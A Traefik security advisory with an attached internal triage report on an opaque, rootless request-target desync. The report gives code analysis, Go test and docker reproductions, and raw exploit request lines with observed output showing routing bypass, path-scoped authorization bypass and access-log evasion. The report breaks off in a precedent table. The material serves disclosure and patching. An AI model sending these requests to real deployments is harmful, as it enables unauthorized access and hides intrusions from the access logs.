## Summary
Traefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example `GET http:http://internal-vhost/admin HTTP/1.1`). Go parses this into `URL.Opaque` with an empty `URL.Path`, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to `/`, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, `forwardAuth` path-scoped policies and the `encodedCharacters` hardening never see the real target, and the access log records every such request as `GET / HTTP/1.1`. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults.
Traefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.
## Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.57
- https://github.com/traefik/traefik/releases/tag/v3.7.13
## For more information
If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).
<details>
<summary>Original Description</summary>
## Summary
The scanner claims `rewriteRequestBuilder` (`pkg/proxy/httputil/proxy.go:97`) rebuilds the outbound target from `URL.Path` / `RawPath` / `RawQuery` but never clears `URL.Opaque`, so a client sending a rootless request-target (`GET http:http://internal-vhost/admin HTTP/1.1`) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path.
**The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image `traefik:v3.7` (v3.7.9, go1.26.5) with stock entrypoint defaults.** Three separate consequences were observed on the wire, not inferred:
1. **Cross-vhost routing bypass.** Traefik matched `Host(app.example.com)`, nginx served the `internal-vhost` server block.
2. **Path-scoped authorization bypass.** A `forwardAuth` guard that denies `^/admin` returned `DENY` for `/admin` and `ALLOW` for the opaque form of the same request, which then reached `/admin` on the backend.
3. **Access-log evasion.** All three requests, benign and malicious, were logged identically as `"GET / HTTP/1.1"`.
Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening `encodedCharacters.allowEncodedSlash=false` **rejects** the canonical `/admin%2f..%2fsecret` with `400`, and **does not fire at all** on the opaque form carrying the identical payload.
This is not the "the operator left an opt-in permissive" shape that lesson `L-012` and guideline `G-03` teach us to decline. The hardening is enabled and is structurally bypassed.
## Affected code
- `pkg/proxy/httputil/proxy.go:97` (`rewriteRequestBuilder`)
- `pkg/muxer/http/mux.go:139` (`withRoutingPath`)
## Code analysis
### The sink
`pkg/proxy/httputil/proxy.go:87-105` sets Scheme, Host, Path, RawPath, RawQuery on `pr.Out.URL` and clears `pr.Out.RequestURI`. It never touches `pr.Out.URL.Opaque`, which `httputil.ReverseProxy` carried over from the inbound request clone:
```go
pr.Out.URL.Scheme = target.Scheme
pr.Out.URL.Host = target.Host
...
pr.Out.URL.Path = u.Path
pr.Out.URL.RawPath = u.RawPath
...
pr.Out.RequestURI = "" // Outgoing request should not have RequestURI
```
`net/http`'s `Request.write` then does `ruri := r.URL.RequestURI()`, and `url.URL.RequestURI()` returns `Opaque` in preference to the escaped path whenever `Opaque != ""`. So the wire target is the attacker's string, and every field the proxy carefully set is ignored.
### How Opaque gets populated
`net/http`'s `readRequest` (`$GOROOT/src/net/http/request.go:1104-1127`) applies **no origin-form check**: it calls `url.ParseRequestURI(rawurl)` directly, and the only special case is `CONNECT`. `url.parse` returns early with `Opaque = rest` whenever a scheme is present and the remainder does not start with `/`, even for `viaRequest = true`. So `http:http://internal-vhost/admin` parses to `{Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}`.
Note that this string is a syntactically valid `absolute-URI` per RFC 3986 (`path-rootless`, and `:` is a legal `pchar`), so it is a legal `absolute-form` request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is **rewriting it into a different URI when forwarding**: Traefik receives a URI with no authority and emits one whose authority is `internal-vhost`, because `RequestURI()` only re-prefixes the scheme when `Opaque` begins with `//`.
### Why the entry-point pipeline does not catch it
- `denyFragment` inspects `req.URL.RawPath` → empty → passes.
- `normalizePath` returns early when `RawPath == ""` → passes.
- `sanitizePath` (`pkg/server/server_entrypoint_tcp.go:849`) does `r2.URL = r2.URL.JoinPath()`. `JoinPath` does `url := *u`, which **copies Opaque**, and `setPath("/")`. It then does `r2.RequestURI = r2.URL.RequestURI()`, which returns the Opaque string. Net effect: `URL.Path` becomes `"/"`, `Opaque` survives untouched, and `RequestURI` is *rewritten to the attacker's authority-bearing form*.
- The muxer matches on `URL.Path == "/"`, so any `Host(...)`-only or `PathPrefix(`/`)` router matches. Host matching uses `req.Host`, which is the `Host:` header because `URL.Host` is empty for the opaque form.
- `encodedcharacters` (`pkg/middlewares/encodedcharacters/encoded_characters.go:41`) scans `req.URL.EscapedPath()`, which is `"/"`. The denylist can never fire.
- `accesslog` (`pkg/middlewares/accesslog/logger.go:244-253`) rebuilds `urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment}` and **drops Opaque**, so `RequestPath` is logged as `/`.
- `forwardauth` (`pkg/middlewares/auth/forward.go:473,499`) sets `X-Forwarded-Uri` from `req.URL.RequestURI()`, so the auth server receives the string `http://internal-vhost/admin`, which matches neither the router's view (`/`) nor any normal path-prefix rule. It fails **open** against a prefix-based policy.
### Scope
The experimental fast proxy has the identical defect: `pkg/proxy/fast/proxy.go` does `u2 := *req.URL` (copying Opaque) and `outReq.SetRequestURI(u2.RequestURI())` at line 216. The scanner's location call is accurate for both.
Note this pattern is inherited from `net/http/httputil.ReverseProxy`, whose own `NewSingleHostReverseProxy` director also leaves `Opaque` set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.
## Reproduction (J04, F4)
Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone).
### A. In-tree Go test (`pkg/server`, deleted after the run)
Entry-point chain assembled in `newHTTPServer` order (`denyFragment` → `normalizePath` → `sanitizePath` → `requestdecorator` → real `httpmuxer` with `Host(app.example.com)` → real `httputil.ProxyBuilder`), fronted by a real `net/http` server, driven over a raw TCP socket.
**Command:**
```
go test -run TestScanPocJ04Opaque -v ./pkg/server/
```
**Observed:**
```
=== RUN TestScanPocJ04Opaque/control_origin_form
status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com"
=== RUN TestScanPocJ04Opaque/rootless_opaque_form
status="200 OK" reachedBackend=true
routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com")
backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret")
=== RUN TestScanPocJ04Opaque/rootless_opaque_form_simple
status="200 OK" reachedBackend=true
routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com")
backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="")
=== RUN TestScanPocJ04Opaque/absolute_form
status="404 Not Found" reachedBackend=false
--- PASS: TestScanPocJ04Opaque (2.01s)
```
**Conclusion:** REPRODUCED. Traefik routes on `Path="/"` and `Host="app.example.com"`; the backend receives `Host="internal-vhost"` and `Path="/admin"`. The `%2f` bytes survive to the backend's `RawPath` untouched. The `absolute_form` control (`GET http://internal-vhost/admin`) correctly **404s**, because there `URL.Host` is populated so `req.Host` becomes `internal-vhost` and the router does not match: it is specifically the **rootless** form, where the authority is invisible to Go's `Request.Host` derivation but visible to the wire writer, that desyncs.
### B. End-to-end on the GA image (`traefik:v3.7` = v3.7.9, go1.26.5) with a real nginx backend
Topology: nginx with a `default_server` returning `PUBLIC-VHOST` and a `server_name internal-vhost` block returning `INTERNAL-VHOST-SECRET`; Traefik with a single `Host(app.example.com)` router, entry-point defaults, `--accesslog=true`. Requests sent over a raw socket with `Host: app.example.com`.
**B1. Cross-vhost + log evasion (stock defaults):**
```
=== request-target sent: '/'
PUBLIC-VHOST uri=/ host=app.example.com
=== request-target sent: 'http:http://internal-vhost/admin'
INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost
=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost
```
Traefik access log for those same three requests:
```
"GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms
"GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms
"GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms
```
**B2. Differential against the documented hardening** (`--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false`, `sanitizePath=true`):
```
=== request-target sent: '/admin%2f..%2fsecret'
HTTP/1.1 400 Bad Request <- canonical path: protection fires
=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
HTTP/1.1 200 OK
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost <- same payload, protection never fires
```
**B3. ForwardAuth authorization bypass** (middleware `forwardAuth` to an nginx auth service that returns 403 when `X-Forwarded-Uri` matches `^/admin`):
```
=== request-target sent: '/admin' -> 403 DENY
=== request-target sent: 'http:/admin' -> 403 DENY
=== request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost
```
Auth-service log confirms the decision flip: `403`, `403`, `200`.
**Conclusion:** REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.
### Documentation grounding
Governing page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**
_(truncated ; full analysis in the linked internal report)_
## Reproduction (J18, F20)
Three Go probes were written into `pkg/server/` of the checkout (named `zz_scanpoc_J18*_test.go`) and **deleted afterwards**; `git status` confirms no `zz_scanpoc_J18` file remains and the checkout is still on `v3.7` @ `d5072ce7b8765c9574246072e05dd81d84950da7`. Docker containers were removed at the end of the run.
**Probe 1 — routing desync and verbatim forward.** Real entry point chain (`denyFragment` -> `normalizePath` -> `sanitizePath` -> `requestdecorator` -> `httpmuxer.Muxer`), two routers on the same service, real `pkg/proxy/httputil` proxy, raw TCP backend recording the request line, driven over a raw socket.
```
cd /Users/emile/go/src/github.com/traefik/traefik
go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v
```
```
=== RUN TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1
--> raw request line: "GET http:admin/secret HTTP/1.1"
in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/"
<-- routers matched: [router-app(NO AUTH)]
<-- response: "HTTP/1.1 200 OK\r"
<-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"]
=== RUN TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1
in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/"
<-- routers matched: [router-app(NO AUTH)]
<-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"]
=== RUN TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1 (control)
<-- routers matched: [router-admin(AUTH)]
<-- response: "HTTP/1.1 401 Unauthorized\r"
PASS
```
The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the `%2F` that an `encodedCharacters` filter would have rejected.
**Probe 2 — origin tolerance.** Which origins actually resolve a rootless request-target.
```
go test -run TestJ18BackendTolerance ./pkg/server/ -v # Go net/http + fasthttp v1.69.0
docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine
docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)"
docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000
docker run -d --rm -p 18122:8080 tomcat:9.0.120
printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port>
```
| Origin | `GET admin/secret HTTP/1.1` | `GET /admin/secret HTTP/1.1` (control) |
|---|---|---|
| Go `net/http` | `HTTP/1.1 400 Bad Request` | 200, `Path="/admin/secret"` |
| nginx:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |
| httpd:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |
| Node.js (llhttp) | `HTTP/1.1 400 Bad Request` | `HTTP/1.1 200 OK` |
| Tomcat 9.0.120 | `HTTP/1.1 400` | 404 (resolved) |
| Python `http.server` | accepted (404, no 400) | 404 |
| **fasthttp v1.69.0** | **`200 OK`, `Path="/admin/secret"`** | 200, `Path="/admin/secret"` |
fasthttp also decodes the encoded form: `GET admin%2Fsecret HTTP/1.1` yields `Path="/admin/secret"`, `RequestURI="admin%2Fsecret"`.
**Probe 3 — end-to-end authentication bypass.** Same chain as probe 1, with a real `basicAuth`-style gate on the `/admin` router and a `fasthttp` origin serving `ADMIN_PANEL_SECRET` at `/admin/secret`.
```
go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v
```
```
"GET /admin/secret HTTP/1.1" => 401 basicAuth required
"GET http:admin/secret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET
"GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET
```
The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.
## Second affected site (J18)
The finding is **mechanically correct and fully reproduced end to end**, including the auth bypass.
A client-controlled HTTP/1.x request-target of the form `scheme:rootless/path` (for example `GET http:admin/secret HTTP/1.1`) is parsed by Go's `url.ParseRequestURI` into `URL.Opaque = "admin/secret"` with an empty `URL.Path` / `URL.RawPath`. Traefik's entry point chain and muxer never look at `URL.Opaque`:
- `denyFragment` inspects `URL.RawPath` (empty) and passes.
- `normalizePath` returns early on empty `RawPath`.
- `sanitizePath` calls `URL.JoinPath()`, which rewrites `Path` to `"/"` and **leaves `Opaque` untouched**, then sets `RequestURI = URL.RequestURI()` = `"admin/secret"`.
- `withRoutingPath` (`pkg/muxer/http/mux.go:139`) derives the routing path from `req.URL.EscapedPath()`, which ignores `Opaque`, so every `Path` / `PathPrefix` / `PathRegexp` matcher evaluates against `"/"`.
- Both proxies copy the URL wholesale and never clear `Opaque`, so the outgoing request line is the attacker's target verbatim.
Result: Traefik makes its routing and middleware decision on one string (`"/"`) and writes a different string to the backend (`admin/secret`). Where a host-only or `PathPrefix("/")` router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.
Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, **five reject the rootless target with 400** (Go `net/http`, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only `fasthttp` (and the Fiber family built on it) and Python's `http.server` accept it. Notably Tomcat, the backend family that carried the closest prior report (`GHSA-vrvv-46fp-28pp`), answers 400 here.
## Documentation grounding
Governing page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**
The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents `sanitizePath: true` as a **default-on hardening the team ships**, with `encodedCharacters.allowEncodedSlash: false` as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on `header-underscores.md`, `content-length.md`, `http2-header-memory.md` or `multi-tenant-kubernetes.md`, documents the request-target form, absolute-form / rootless targets, `URL.Opaque`, or an authority carried in the target. Grep for `absolute`, `request-target`, `request line`, `Opaque`, `authority` across `docs/content/security/` returns nothing.
This lands squarely in Step 2e's **second** bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator *did* enable the opt-in and it still failed.
## Precedent in comparable projects
Searched `data/competitors/*.json` on `absolute.form|absolute-form|absolute URI|request.target|request line|authority.form`, then on `smuggl|desync|normaliz`.
| Product | ID | Severity | Framing | Fix shape |
|---|---|---|---|---|
| Caddy | CVE-2026-27587 | HIGH | `MatchPath`'s `%xx` (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. |
| Caddy | CVE-2026-27588 | HIGH | `MatchHost` becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. |
| Envoy | CVE-2021-32779 | high | `#fragment` treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. |
| Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of `%2F` before matching. |
| Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy's routing view diverge from the backend's. | Add